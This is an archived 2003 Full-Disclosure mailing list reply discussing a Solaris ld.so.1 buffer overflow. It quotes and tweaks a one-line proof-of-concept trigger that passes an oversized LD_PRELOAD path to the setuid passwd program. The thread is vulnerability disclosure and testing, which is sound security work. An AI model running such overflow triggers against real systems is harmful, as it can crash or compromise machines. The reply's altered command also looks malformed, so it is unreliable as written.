full-disclosure - Re: Fwd: Re: Solaris ld.so.1 buffer overflow

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

From: pauls at utdallas.edu (Schmehl, Paul L)
Subject: Re: Fwd: Re: Solaris ld.so.1 buffer overflow

> -----Original Message-----
> From: Jim Dew [mailto:jdew@...drasil.ca] 
> Sent: Wednesday, July 30, 2003 8:19 PM
> To: Jouko Pynnonen
> Cc: full-disclosure@...ts.netsys.com
> Subject: [Full-Disclosure] Re: Fwd: Re: Solaris ld.so.1 
> buffer overflow
> 
> 
> On Wed, Jul 30, 2003 at 07:49:28PM +0300, Jouko Pynnonen wrote:
> > 
> > On Wed, Jul 30, 2003 at 12:37:44PM -0400, Rukshin, David wrote:
> > > Modify the command (you need to add a trailing slash) to be the 
> > > following:
> > > 
> > > LD_PRELOAD=/`perl -e 'print "A"x2000'`/ passwd
> > > 
> > > and try it again.
> > 
> 
> this segfaults on solaris 2.6
> 
Try moving the escape to *before* the backtick:
LD_PRELOAD=/`perl -e 'print "A"x2000'/` passwd

Paul Schmehl (pauls@...allas.edu)
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu/~pauls/